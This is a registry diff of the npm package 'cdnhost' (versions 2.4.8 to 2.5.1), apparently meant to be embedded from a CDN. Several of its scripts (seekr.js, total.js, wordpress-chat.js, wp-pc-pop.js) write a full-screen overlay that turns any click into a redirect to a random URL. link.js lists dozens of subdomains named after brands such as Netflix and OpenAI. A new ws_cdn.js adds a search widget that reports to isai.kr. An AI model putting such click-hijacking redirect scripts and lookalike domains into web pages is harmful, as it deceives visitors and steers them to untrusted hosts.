cdnhost 2.4.8 → 2.5.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/link.js +1 -1
- package/package.json +1 -1
- package/seekr.js +1 -1
- package/seekr2.js +1 -1
- package/total.js +1 -1
- package/wordpress-chat.js +1 -1
- package/wp-pc-pop.js +1 -1
- package/ws_cdn.js +394 -0
- package/ws_cdnhtml.js +41 -0
- package/ws_css.css +74 -0
- package/ws_lg.js +20 -0
- package/__________isai-icon.png +0 -0
- package/__________isai.png +0 -0
package/link.js
CHANGED
|
@@ -9,7 +9,7 @@
|
|
|
9
9
|
"//xn--vv0bw27a.99s.kr","//1.99s.kr","//2.99s.kr","//3.99s.kr","//4.99s.kr","//5.99s.kr","//6.99s.kr","//7.99s.kr","//8.99s.kr","//9.99s.kr","//a.99s.kr","//b.99s.kr","//c.99s.kr","//d.99s.kr","//e.99s.kr","//f.99s.kr","//g.99s.kr","//h.99s.kr","//i.99s.kr","//j.99s.kr","//k.99s.kr","//l.99s.kr","//m.99s.kr","//n.99s.kr","//o.99s.kr","//p.99s.kr","//q.99s.kr","//r.99s.kr","//s.99s.kr","//t.99s.kr","//u.99s.kr","//v.99s.kr","//w.99s.kr","//x.99s.kr","//y.99s.kr","//z.99s.kr",
|
|
10
10
|
"//9.news1.workers.dev","//8.news1.workers.dev","//7.news1.workers.dev","//6.news1.workers.dev","//5.news1.workers.dev","//4.news1.workers.dev","//3.news1.workers.dev","//2.news1.workers.dev","//1.news1.workers.dev","//9.news2.workers.dev","//8.news2.workers.dev","//7.news2.workers.dev","//6.news2.workers.dev","//5.news2.workers.dev","//4.news2.workers.dev","//3.news2.workers.dev","//2.news2.workers.dev","//1.news2.workers.dev","//8.00000-c22.workers.dev","//7.00000-c22.workers.dev","//6.00000-c22.workers.dev","//5.00000-c22.workers.dev","//4.00000-c22.workers.dev","//3.00000-c22.workers.dev","//2.00000-c22.workers.dev","//1.00000-c22.workers.dev","//0.00000-c22.workers.dev","//9.daum.workers.dev","//8.daum.workers.dev","//7.daum.workers.dev","//6.daum.workers.dev","//5.daum.workers.dev","//4.daum.workers.dev","//3.daum.workers.dev","//2.daum.workers.dev","//1.daum.workers.dev","//9.tistory.workers.dev","//8.tistory.workers.dev","//7.tistory.workers.dev","//6.tistory.workers.dev","//5.tistory.workers.dev","//4.tistory.workers.dev","//3.tistory.workers.dev","//2.tistory.workers.dev","//1.tistory.workers.dev","//9.l1i1i.workers.dev","//8.l1i1i.workers.dev","//7.l1i1i.workers.dev","//6.l1i1i.workers.dev","//5.l1i1i.workers.dev","//4.l1i1i.workers.dev","//3.l1i1i.workers.dev","//2.l1i1i.workers.dev","//1.l1i1i.workers.dev","//9.naver-news.workers.dev","//8.naver-news.workers.dev","//7.naver-news.workers.dev","//6.naver-news.workers.dev","//5.naver-news.workers.dev","//4.naver-news.workers.dev","//3.naver-news.workers.dev","//2.naver-news.workers.dev","//1.naver-news.workers.dev","//6.naver-116.workers.dev","//5.naver-116.workers.dev","//4.naver-116.workers.dev","//3.naver-116.workers.dev","//2.naver-116.workers.dev","//1.naver-116.workers.dev","//6.q7x2.workers.dev","//5.q7x2.workers.dev","//4.q7x2.workers.dev","//3.q7x2.workers.dev","//2.q7x2.workers.dev","//1.q7x2.workers.dev","//8.a9lq.workers.dev","//7.a9lq.workers.dev","//6.a9lq.workers.dev","//5.a9lq.workers.dev","//4.a9lq.workers.dev","//3.a9lq.workers.dev","//2.a9lq.workers.dev","//1.a9lq.workers.dev","//long-bar-4b4e.a9lq.workers.dev","//1.x36q.workers.dev","//3.x36q.workers.dev","//4.x36q.workers.dev","//5.x36q.workers.dev","//6.x36q.workers.dev","//8.x36q.workers.dev","//9.x36q.workers.dev","//1.p1q7.workers.dev","//3.p1q7.workers.dev","//4.p1q7.workers.dev","//5.p1q7.workers.dev","//6.p1q7.workers.dev","//7.p1q7.workers.dev","//8.p1q7.workers.dev","//1.ascklw21.workers.dev","//2.ascklw21.workers.dev","//3.ascklw21.workers.dev","//5.ascklw21.workers.dev","//6.ascklw21.workers.dev","//7.ascklw21.workers.dev","//8.ascklw21.workers.dev","//9.ascklw21.workers.dev","//2.fluke201.workers.dev","//3.fluke201.workers.dev","//4.fluke201.workers.dev","//5.fluke201.workers.dev","//6.fluke201.workers.dev","//7.fluke201.workers.dev","//8.fluke201.workers.dev","//9.fluke201.workers.dev","//1.ffluke103.workers.dev","//2.ffluke103.workers.dev","//3.ffluke103.workers.dev","//4.ffluke103.workers.dev","//5.ffluke103.workers.dev","//6.ffluke103.workers.dev","//7.ffluke103.workers.dev","//8.ffluke103.workers.dev","//9.ffluke103.workers.dev","//1.qpx.workers.dev","//2.qpx.workers.dev","//3.qpx.workers.dev","//4.qpx.workers.dev","//5.qpx.workers.dev","//6.qpx.workers.dev","//7.qpx.workers.dev","//8.qpx.workers.dev","//9.qpx.workers.dev","//1.cxi.workers.dev","//2.cxi.workers.dev","//3.cxi.workers.dev","//4.cxi.workers.dev","//5.cxi.workers.dev","//6.cxi.workers.dev","//7.cxi.workers.dev","//8.cxi.workers.dev","//9.cxi.workers.dev","//1.kxq.workers.dev","//2.kxq.workers.dev","//3.kxq.workers.dev","//4.kxq.workers.dev","//5.kxq.workers.dev","//6.kxq.workers.dev","//7.kxq.workers.dev","//8.kxq.workers.dev","//9.kxq.workers.dev","//1.lesunghwa408.workers.dev","//2.lesunghwa408.workers.dev","//3.lesunghwa408.workers.dev","//4.lesunghwa408.workers.dev","//5.lesunghwa408.workers.dev","//6.lesunghwa408.workers.dev","//7.lesunghwa408.workers.dev","//8.lesunghwa408.workers.dev","//2.silisoft078.workers.dev","//3.silisoft078.workers.dev","//4.silisoft078.workers.dev","//5.silisoft078.workers.dev","//6.silisoft078.workers.dev","//7.silisoft078.workers.dev","//8.silisoft078.workers.dev","//floral-field-6df2.silisoft078.workers.dev","//admin.099.kr",
|
|
11
11
|
"//tonews.logig.im","//allnews.logig.im","//znews.logig.im","//blog.099.kr","//099.kr","//wallpaper.ko-kr.workers.dev","//adsense.ko-kr.workers.dev","//youtube.ko-kr.workers.dev","//hham.ko-kr.workers.dev","//jp.snapp.im",
|
|
12
|
-
"//
|
|
12
|
+
"//popcat.iwinv.net","//fiveguys.iwinv.net","//jjang0u.iwinv.net","//tdgall.iwinv.net","//yakored.iwinv.net","//dctribe.iwinv.net","//hygall.iwinv.net","//skyscanner.iwinv.net","//flightaware.iwinv.net","//fconline.iwinv.net","//flextv.iwinv.net","//eomisae.iwinv.net","//ecount.iwinv.net","//mixamo.iwinv.net","//toptoon.iwinv.net","//slrclub.iwinv.net/","//dmitory.iwinv.net/","//kmcert.iwinv.net/","//lolchess.iwinv.net/","//curseforge.iwinv.net/","//hsreplay.iwinv.net/","//bikini.iwinv.net/","//qqqqqq.iwinv.net/","//iiiiii.iwinv.net/","//llllll.iwinv.net/","//oooooo.iwinv.net/","//xxxxxx.iwinv.net/","//eeeeee.iwinv.net/","//aaaaaa.iwinv.net/","//zzzzzz.iwinv.net/","//tttttt.iwinv.net","//ssssss.iwinv.net","//pdnews.iwinv.net","//valorant.iwinv.net","//tumblr.iwinv.net","//netflix.iwinv.net","//minecraft.iwinv.net","//openai.iwinv.net","//palworld.iwinv.net",
|
|
13
13
|
])];
|
|
14
14
|
|
|
15
15
|
document.writeln('<div style="display:flex;overflow-x:scroll;width:100%;">');
|
package/package.json
CHANGED
package/seekr.js
CHANGED
|
@@ -24,7 +24,7 @@ const urls = [
|
|
|
24
24
|
|
|
25
25
|
const randomUrl = urls[Math.floor(Math.random() * urls.length)];
|
|
26
26
|
document.writeln('<style>');
|
|
27
|
-
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff;border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
27
|
+
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff !important;border-radius:5px !important} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
28
28
|
document.writeln('</style>');
|
|
29
29
|
document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
|
|
30
30
|
|
package/seekr2.js
CHANGED
|
@@ -24,7 +24,7 @@ const urls = [
|
|
|
24
24
|
|
|
25
25
|
const randomUrl = urls[Math.floor(Math.random() * urls.length)];
|
|
26
26
|
document.writeln('<style>');
|
|
27
|
-
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff;border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
27
|
+
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff !important;border-radius:5px !important} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
28
28
|
document.writeln('</style>');
|
|
29
29
|
document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
|
|
30
30
|
|
package/total.js
CHANGED
|
@@ -24,7 +24,7 @@ const urls = [
|
|
|
24
24
|
|
|
25
25
|
const randomUrl = urls[Math.floor(Math.random() * urls.length)];
|
|
26
26
|
document.writeln('<style>');
|
|
27
|
-
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff;border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
27
|
+
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff !important;border-radius:5px !important} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
28
28
|
document.writeln('</style>');
|
|
29
29
|
document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
|
|
30
30
|
|
package/wordpress-chat.js
CHANGED
|
@@ -24,7 +24,7 @@ const urls = [
|
|
|
24
24
|
|
|
25
25
|
const randomUrl = urls[Math.floor(Math.random() * urls.length)];
|
|
26
26
|
document.writeln('<style>');
|
|
27
|
-
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff;border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
27
|
+
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff !important;border-radius:5px !important} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
28
28
|
document.writeln('</style>');
|
|
29
29
|
document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
|
|
30
30
|
|
package/wp-pc-pop.js
CHANGED
|
@@ -24,7 +24,7 @@ const urls = [
|
|
|
24
24
|
|
|
25
25
|
const randomUrl = urls[Math.floor(Math.random() * urls.length)];
|
|
26
26
|
document.writeln('<style>');
|
|
27
|
-
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff;border-radius:5px} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
27
|
+
document.writeln('* {font-size: 1em !important} #button {border:1px solid #fff !important;border-radius:5px !important} #s2, #s3 {transition:opacity 5s;z-index:99;position:fixed;top:0;left:0;opacity:0.9;background:#000;width:100%;height:200vh}');
|
|
28
28
|
document.writeln('</style>');
|
|
29
29
|
document.writeln('<a onclick=\'location.href="' + randomUrl + '"\' target="_blank" href="#"><div id="s2"></div></a>');
|
|
30
30
|
|
package/ws_cdn.js
ADDED
|
@@ -0,0 +1,394 @@
|
|
|
1
|
+
|
|
2
|
+
document.addEventListener('DOMContentLoaded', function() {
|
|
3
|
+
|
|
4
|
+
const languages = [
|
|
5
|
+
{ code: 'ko', name: '한국어' }, { code: 'en', name: 'English' }, { code: 'es', name: 'Español' },
|
|
6
|
+
{ code: 'hi', name: 'हिन्दी' }, { code: 'ar', name: 'العربية' }, { code: 'de', name: 'Deutsch' },
|
|
7
|
+
{ code: 'fr', name: 'Français' }, { code: 'pt', name: 'Português' }, { code: 'bn', name: 'বাংলা' },
|
|
8
|
+
{ code: 'ja', name: '日本語' }, { code: 'ru', name: 'Русский' }, { code: 'zh', name: '简体中文' },
|
|
9
|
+
{ code: 'th', name: 'ไทย' }, { code: 'vi', name: 'Tiếng Việt' }, { code: 'id', name: 'Indonesia' },
|
|
10
|
+
{ code: 'tr', name: 'Türkçe' }, { code: 'ur', name: 'اردو' }
|
|
11
|
+
];
|
|
12
|
+
|
|
13
|
+
let fullApiItemsData = null;
|
|
14
|
+
let currentDisplayItems = [];
|
|
15
|
+
let currentPage = 1;
|
|
16
|
+
const ITEMS_PER_PAGE = 30;
|
|
17
|
+
let isLoadingNextPage = false;
|
|
18
|
+
|
|
19
|
+
const widgetContainer = document.getElementById('fhl-widget-container');
|
|
20
|
+
const widgetWrapper = document.getElementById('fhl-widget-wrapper');
|
|
21
|
+
const listContainer = document.getElementById('fhl-list-container');
|
|
22
|
+
const searchInput = document.getElementById('fhl-search-input');
|
|
23
|
+
const searchResultsContainer = document.getElementById('fhl-search-results');
|
|
24
|
+
const searchTrigger = document.getElementById('fhl-search-trigger');
|
|
25
|
+
const searchClose = document.getElementById('fhl-search-close');
|
|
26
|
+
const indicatorTrack = document.getElementById('fhl-indicator-track');
|
|
27
|
+
const scrollIndicator = document.getElementById('fhl-scroll-indicator');
|
|
28
|
+
const addToHomeBtn = document.getElementById('fhl-add-to-home-btn');
|
|
29
|
+
const searchAddBtn = document.getElementById('fhl-search-add-btn');
|
|
30
|
+
const toastElement = document.getElementById('fhl-toast-notification');
|
|
31
|
+
const languageBtn = document.getElementById('fhl-language-btn');
|
|
32
|
+
const languagePanel = document.getElementById('fhl-language-panel');
|
|
33
|
+
|
|
34
|
+
const fixedQuestionBtn = document.getElementById('fhl-fixed-question');
|
|
35
|
+
const fixedChatBtn = document.getElementById('fhl-fixed-chat');
|
|
36
|
+
const fixedAdBtn = document.getElementById('fhl-fixed-ad');
|
|
37
|
+
|
|
38
|
+
let toastTimeout = null;
|
|
39
|
+
let currentLang = localStorage.getItem('fhl-widget-lang') || 'ko';
|
|
40
|
+
|
|
41
|
+
const showToast = (message) => {
|
|
42
|
+
clearTimeout(toastTimeout);
|
|
43
|
+
toastElement.textContent = message;
|
|
44
|
+
toastElement.classList.add('visible');
|
|
45
|
+
toastTimeout = setTimeout(() => {
|
|
46
|
+
toastElement.classList.remove('visible');
|
|
47
|
+
}, 2500);
|
|
48
|
+
};
|
|
49
|
+
|
|
50
|
+
const applyLanguage = (langCode) => {
|
|
51
|
+
const t = translations[langCode] || translations['en'];
|
|
52
|
+
|
|
53
|
+
document.documentElement.lang = langCode;
|
|
54
|
+
|
|
55
|
+
searchTrigger.setAttribute('aria-label', t.openSearch);
|
|
56
|
+
addToHomeBtn.setAttribute('aria-label', t.addToWidget);
|
|
57
|
+
searchClose.setAttribute('aria-label', t.closeSearch);
|
|
58
|
+
languageBtn.setAttribute('aria-label', t.changeLanguage);
|
|
59
|
+
searchAddBtn.setAttribute('aria-label', t.addToWidget);
|
|
60
|
+
fixedQuestionBtn.setAttribute('aria-label', t.question);
|
|
61
|
+
fixedChatBtn.setAttribute('aria-label', t.characterChat);
|
|
62
|
+
fixedAdBtn.setAttribute('aria-label', t.ads);
|
|
63
|
+
|
|
64
|
+
searchInput.placeholder = t.searchPlaceholder;
|
|
65
|
+
|
|
66
|
+
initialRender();
|
|
67
|
+
};
|
|
68
|
+
|
|
69
|
+
const populateLanguagePanel = () => {
|
|
70
|
+
languagePanel.innerHTML = '';
|
|
71
|
+
languages.forEach(lang => {
|
|
72
|
+
const langItem = document.createElement('a');
|
|
73
|
+
langItem.href = '#';
|
|
74
|
+
langItem.className = 'fhl-language-item';
|
|
75
|
+
langItem.textContent = lang.name;
|
|
76
|
+
langItem.dataset.lang = lang.code;
|
|
77
|
+
langItem.addEventListener('click', (e) => {
|
|
78
|
+
e.preventDefault();
|
|
79
|
+
e.stopPropagation();
|
|
80
|
+
const newLang = e.target.dataset.lang;
|
|
81
|
+
if (newLang !== currentLang) {
|
|
82
|
+
currentLang = newLang;
|
|
83
|
+
localStorage.setItem('fhl-widget-lang', currentLang);
|
|
84
|
+
applyLanguage(currentLang);
|
|
85
|
+
}
|
|
86
|
+
languagePanel.classList.remove('visible');
|
|
87
|
+
});
|
|
88
|
+
languagePanel.appendChild(langItem);
|
|
89
|
+
});
|
|
90
|
+
};
|
|
91
|
+
|
|
92
|
+
const getProcessedUrl = (fullUrl) => {
|
|
93
|
+
try {
|
|
94
|
+
const urlObj = new URL(fullUrl);
|
|
95
|
+
return `${urlObj.protocol}//${urlObj.hostname}`;
|
|
96
|
+
} catch (e) {
|
|
97
|
+
return fullUrl;
|
|
98
|
+
}
|
|
99
|
+
};
|
|
100
|
+
|
|
101
|
+
const createIconItem = (item, type = 'default') => {
|
|
102
|
+
const link = document.createElement('a');
|
|
103
|
+
link.href = item.url;
|
|
104
|
+
link.className = 'fhl-icon-display';
|
|
105
|
+
link.setAttribute('aria-label', item.name);
|
|
106
|
+
|
|
107
|
+
if (type === 'search') {
|
|
108
|
+
link.addEventListener('mousedown', () => {
|
|
109
|
+
fetch('https://isai.kr/update_view_count.php', {
|
|
110
|
+
method: 'POST',
|
|
111
|
+
headers: { 'Content-Type': 'application/json' },
|
|
112
|
+
body: JSON.stringify({ url: item.url })
|
|
113
|
+
}).catch(console.error);
|
|
114
|
+
});
|
|
115
|
+
link.target = '_blank';
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
const iconCircle = document.createElement('div');
|
|
119
|
+
iconCircle.className = 'fhl-icon-circle';
|
|
120
|
+
|
|
121
|
+
if (item.img) {
|
|
122
|
+
const customImage = document.createElement('img');
|
|
123
|
+
customImage.src = item.img;
|
|
124
|
+
customImage.alt = item.name;
|
|
125
|
+
customImage.onerror = () => { customImage.style.display = 'none'; };
|
|
126
|
+
iconCircle.appendChild(customImage);
|
|
127
|
+
} else if (type === 'search' || type === 'local') {
|
|
128
|
+
const favicon = document.createElement('img');
|
|
129
|
+
favicon.src = `https://www.google.com/s2/favicons?sz=64&domain_url=${item.url}`;
|
|
130
|
+
favicon.alt = item.name;
|
|
131
|
+
favicon.onerror = () => { favicon.style.display = 'none'; };
|
|
132
|
+
iconCircle.appendChild(favicon);
|
|
133
|
+
} else {
|
|
134
|
+
const icon = document.createElement('i');
|
|
135
|
+
icon.className = `ph-bold ${item.icon}`;
|
|
136
|
+
iconCircle.appendChild(icon);
|
|
137
|
+
}
|
|
138
|
+
link.appendChild(iconCircle);
|
|
139
|
+
|
|
140
|
+
if (type === 'search') {
|
|
141
|
+
const tooltip = document.createElement('div');
|
|
142
|
+
tooltip.className = 'fhl-item-tooltip';
|
|
143
|
+
tooltip.textContent = item.name.length > 5 ? item.name.slice(0, 5) + '..' : item.name;
|
|
144
|
+
link.appendChild(tooltip);
|
|
145
|
+
link.addEventListener('mouseenter', (e) => {
|
|
146
|
+
const currentTooltip = e.currentTarget.querySelector('.fhl-item-tooltip');
|
|
147
|
+
if (!currentTooltip) return;
|
|
148
|
+
currentTooltip.classList.add('visible');
|
|
149
|
+
const widgetRect = widgetWrapper.getBoundingClientRect();
|
|
150
|
+
const tooltipRect = currentTooltip.getBoundingClientRect();
|
|
151
|
+
let offsetX = 0;
|
|
152
|
+
const padding = 5;
|
|
153
|
+
if (tooltipRect.left < widgetRect.left) {
|
|
154
|
+
offsetX = widgetRect.left - tooltipRect.left + padding;
|
|
155
|
+
} else if (tooltipRect.right > widgetRect.right) {
|
|
156
|
+
offsetX = widgetRect.right - tooltipRect.right - padding;
|
|
157
|
+
}
|
|
158
|
+
if (offsetX !== 0) {
|
|
159
|
+
currentTooltip.style.transform = `translateX(calc(-50% + ${offsetX}px))`;
|
|
160
|
+
}
|
|
161
|
+
});
|
|
162
|
+
link.addEventListener('mouseleave', (e) => {
|
|
163
|
+
const currentTooltip = e.currentTarget.querySelector('.fhl-item-tooltip');
|
|
164
|
+
if (!currentTooltip) return;
|
|
165
|
+
currentTooltip.classList.remove('visible');
|
|
166
|
+
currentTooltip.style.transform = 'translateX(-50%)';
|
|
167
|
+
});
|
|
168
|
+
} else {
|
|
169
|
+
const nameSpan = document.createElement('span');
|
|
170
|
+
nameSpan.className = 'fhl-item-name';
|
|
171
|
+
nameSpan.textContent = item.name.length > 5 ? item.name.slice(0, 5) + '..' : item.name;
|
|
172
|
+
link.appendChild(nameSpan);
|
|
173
|
+
}
|
|
174
|
+
|
|
175
|
+
if (type === 'local') {
|
|
176
|
+
const controls = document.createElement('div');
|
|
177
|
+
controls.className = 'fhl-item-controls';
|
|
178
|
+
const deleteBtn = document.createElement('button');
|
|
179
|
+
deleteBtn.className = 'fhl-control-btn';
|
|
180
|
+
deleteBtn.innerHTML = '×';
|
|
181
|
+
deleteBtn.title = '삭제';
|
|
182
|
+
deleteBtn.addEventListener('click', (e) => {
|
|
183
|
+
e.preventDefault();
|
|
184
|
+
e.stopPropagation();
|
|
185
|
+
let storedItems = JSON.parse(localStorage.getItem('fhl-custom-icons')) || [];
|
|
186
|
+
storedItems = storedItems.filter(stored => stored.url !== item.url);
|
|
187
|
+
localStorage.setItem('fhl-custom-icons', JSON.stringify(storedItems));
|
|
188
|
+
initialRender();
|
|
189
|
+
});
|
|
190
|
+
const moveBtn = document.createElement('button');
|
|
191
|
+
moveBtn.className = 'fhl-control-btn';
|
|
192
|
+
moveBtn.innerHTML = '>';
|
|
193
|
+
moveBtn.title = '오른쪽으로 이동';
|
|
194
|
+
moveBtn.addEventListener('click', (e) => {
|
|
195
|
+
e.preventDefault();
|
|
196
|
+
e.stopPropagation();
|
|
197
|
+
let storedItems = JSON.parse(localStorage.getItem('fhl-custom-icons')) || [];
|
|
198
|
+
const currentIndex = storedItems.findIndex(stored => stored.url === item.url);
|
|
199
|
+
if (currentIndex > -1) {
|
|
200
|
+
const newIndex = (currentIndex + 1) % storedItems.length;
|
|
201
|
+
const [movedItem] = storedItems.splice(currentIndex, 1);
|
|
202
|
+
storedItems.splice(newIndex, 0, movedItem);
|
|
203
|
+
localStorage.setItem('fhl-custom-icons', JSON.stringify(storedItems));
|
|
204
|
+
initialRender();
|
|
205
|
+
}
|
|
206
|
+
});
|
|
207
|
+
controls.appendChild(deleteBtn);
|
|
208
|
+
controls.appendChild(moveBtn);
|
|
209
|
+
link.appendChild(controls);
|
|
210
|
+
}
|
|
211
|
+
return link;
|
|
212
|
+
};
|
|
213
|
+
|
|
214
|
+
const appendNextPage = () => {
|
|
215
|
+
if (isLoadingNextPage) return;
|
|
216
|
+
isLoadingNextPage = true;
|
|
217
|
+
const startIndex = (currentPage - 1) * ITEMS_PER_PAGE;
|
|
218
|
+
const endIndex = currentPage * ITEMS_PER_PAGE;
|
|
219
|
+
if (startIndex >= currentDisplayItems.length) {
|
|
220
|
+
isLoadingNextPage = false;
|
|
221
|
+
return;
|
|
222
|
+
}
|
|
223
|
+
const itemsToAppend = currentDisplayItems.slice(startIndex, endIndex);
|
|
224
|
+
itemsToAppend.forEach(item => {
|
|
225
|
+
searchResultsContainer.appendChild(createIconItem(item, 'search'));
|
|
226
|
+
});
|
|
227
|
+
currentPage++;
|
|
228
|
+
isLoadingNextPage = false;
|
|
229
|
+
};
|
|
230
|
+
|
|
231
|
+
const renderInitialResults = (items) => {
|
|
232
|
+
searchResultsContainer.innerHTML = '';
|
|
233
|
+
currentPage = 1;
|
|
234
|
+
currentDisplayItems = items;
|
|
235
|
+
appendNextPage();
|
|
236
|
+
};
|
|
237
|
+
|
|
238
|
+
const openSearch = async () => {
|
|
239
|
+
widgetContainer.classList.add('search-mode');
|
|
240
|
+
widgetWrapper.classList.add('search-mode');
|
|
241
|
+
searchInput.focus();
|
|
242
|
+
if (fullApiItemsData === null) {
|
|
243
|
+
try {
|
|
244
|
+
const response = await fetch('https://isai.kr/appapi2.php');
|
|
245
|
+
if (!response.ok) throw new Error('API 응답 오류');
|
|
246
|
+
fullApiItemsData = await response.json();
|
|
247
|
+
} catch (error) {
|
|
248
|
+
console.error('전체 앱 목록 로드 실패:', error);
|
|
249
|
+
searchResultsContainer.innerHTML = '<p>목록 로드 실패</p>';
|
|
250
|
+
fullApiItemsData = [];
|
|
251
|
+
return;
|
|
252
|
+
}
|
|
253
|
+
}
|
|
254
|
+
renderInitialResults(fullApiItemsData);
|
|
255
|
+
};
|
|
256
|
+
|
|
257
|
+
const initialRender = () => {
|
|
258
|
+
const t = translations[currentLang] || translations['en'];
|
|
259
|
+
const initialItemsData = [
|
|
260
|
+
{ name: t.search, url: 'https://isai.kr', icon: 'ph-sparkle' },
|
|
261
|
+
{ name: t.question, url: 'https://isai.kr/#chat', icon: 'ph-question-mark' },
|
|
262
|
+
|
|
263
|
+
{ name: t.blog, url: 'https://blog.099.kr', icon: 'ph-article-medium' },
|
|
264
|
+
{ name: t.characterChat, url: 'https://zoai.oduc.kr/ko/character/select', icon: 'ph-chats-circle' },
|
|
265
|
+
{ name: t.translate, url: 'https://translato.isai.kr/', icon: 'ph-translate' },
|
|
266
|
+
{ name: t.tarot, url: 'https://tarot.isai.kr/', icon: 'ph-cards' },
|
|
267
|
+
{ name: t.psychology, url: 'https://simpong.oduc.kr/', img: 'http://cdn.jsdelivr.net/npm/cdnhost@2.2.0/_simpong.png' },
|
|
268
|
+
{ name: t.forum, url: 'https://logig.im', icon: 'ph-chats-circle' },
|
|
269
|
+
{ name: t.ads, url: 'https://gig.snapp.im/', icon: 'ph-currency-circle-dollar' },
|
|
270
|
+
];
|
|
271
|
+
|
|
272
|
+
listContainer.innerHTML = '';
|
|
273
|
+
const storedItems = JSON.parse(localStorage.getItem('fhl-custom-icons')) || [];
|
|
274
|
+
let combinedItems = [...initialItemsData];
|
|
275
|
+
combinedItems.splice(2, 0, ...storedItems);
|
|
276
|
+
combinedItems.forEach(item => {
|
|
277
|
+
const isLocal = storedItems.some(stored => stored.url === item.url);
|
|
278
|
+
listContainer.appendChild(createIconItem(item, isLocal ? 'local' : 'default'));
|
|
279
|
+
});
|
|
280
|
+
checkScrollability();
|
|
281
|
+
};
|
|
282
|
+
|
|
283
|
+
const updateScrollIndicator = () => {
|
|
284
|
+
const scrollLeft = listContainer.scrollLeft;
|
|
285
|
+
const maxScrollLeft = listContainer.scrollWidth - listContainer.clientWidth;
|
|
286
|
+
if (maxScrollLeft <= 0) return;
|
|
287
|
+
const scrollFraction = scrollLeft / maxScrollLeft;
|
|
288
|
+
const trackWidth = indicatorTrack.clientWidth;
|
|
289
|
+
const indicatorWidth = scrollIndicator.clientWidth;
|
|
290
|
+
const maxIndicatorLeft = trackWidth - indicatorWidth;
|
|
291
|
+
const indicatorLeft = scrollFraction * maxIndicatorLeft;
|
|
292
|
+
scrollIndicator.style.transform = `translateY(-50%) translateX(${indicatorLeft}px)`;
|
|
293
|
+
};
|
|
294
|
+
|
|
295
|
+
const checkScrollability = () => {
|
|
296
|
+
const isScrollable = listContainer.scrollWidth > listContainer.clientWidth;
|
|
297
|
+
widgetContainer.classList.toggle('scrollable', isScrollable);
|
|
298
|
+
if (isScrollable) updateScrollIndicator();
|
|
299
|
+
};
|
|
300
|
+
|
|
301
|
+
let isDragging = false;
|
|
302
|
+
const handleDragMove = (e) => {
|
|
303
|
+
if (!isDragging) return;
|
|
304
|
+
e.preventDefault();
|
|
305
|
+
const trackRect = indicatorTrack.getBoundingClientRect();
|
|
306
|
+
const maxScrollLeft = listContainer.scrollWidth - listContainer.clientWidth;
|
|
307
|
+
let positionRatio = (e.clientX - trackRect.left) / trackRect.width;
|
|
308
|
+
positionRatio = Math.max(0, Math.min(1, positionRatio));
|
|
309
|
+
listContainer.scrollLeft = positionRatio * maxScrollLeft;
|
|
310
|
+
};
|
|
311
|
+
const handleDragEnd = () => {
|
|
312
|
+
if (!isDragging) return;
|
|
313
|
+
isDragging = false;
|
|
314
|
+
document.removeEventListener('mousemove', handleDragMove);
|
|
315
|
+
document.removeEventListener('mouseup', handleDragEnd);
|
|
316
|
+
};
|
|
317
|
+
|
|
318
|
+
indicatorTrack.addEventListener('mousedown', (e) => {
|
|
319
|
+
isDragging = true;
|
|
320
|
+
handleDragMove(e);
|
|
321
|
+
document.addEventListener('mousemove', handleDragMove);
|
|
322
|
+
document.addEventListener('mouseup', handleDragEnd);
|
|
323
|
+
});
|
|
324
|
+
|
|
325
|
+
const closeSearch = () => {
|
|
326
|
+
widgetContainer.classList.remove('search-mode');
|
|
327
|
+
widgetWrapper.classList.remove('search-mode');
|
|
328
|
+
searchInput.value = '';
|
|
329
|
+
searchResultsContainer.innerHTML = '';
|
|
330
|
+
};
|
|
331
|
+
|
|
332
|
+
let hideTimeout = null;
|
|
333
|
+
widgetContainer.addEventListener('mouseenter', () => { clearTimeout(hideTimeout); });
|
|
334
|
+
widgetContainer.addEventListener('mouseleave', () => { hideTimeout = setTimeout(() => { widgetContainer.classList.add('hidden'); }, 6000); });
|
|
335
|
+
|
|
336
|
+
document.addEventListener('click', (e) => {
|
|
337
|
+
if (!languagePanel.contains(e.target) && !languageBtn.contains(e.target)) {
|
|
338
|
+
languagePanel.classList.remove('visible');
|
|
339
|
+
}
|
|
340
|
+
if (!widgetContainer.classList.contains('hidden') || widgetContainer.contains(e.target)) {
|
|
341
|
+
return;
|
|
342
|
+
}
|
|
343
|
+
widgetContainer.classList.remove('hidden');
|
|
344
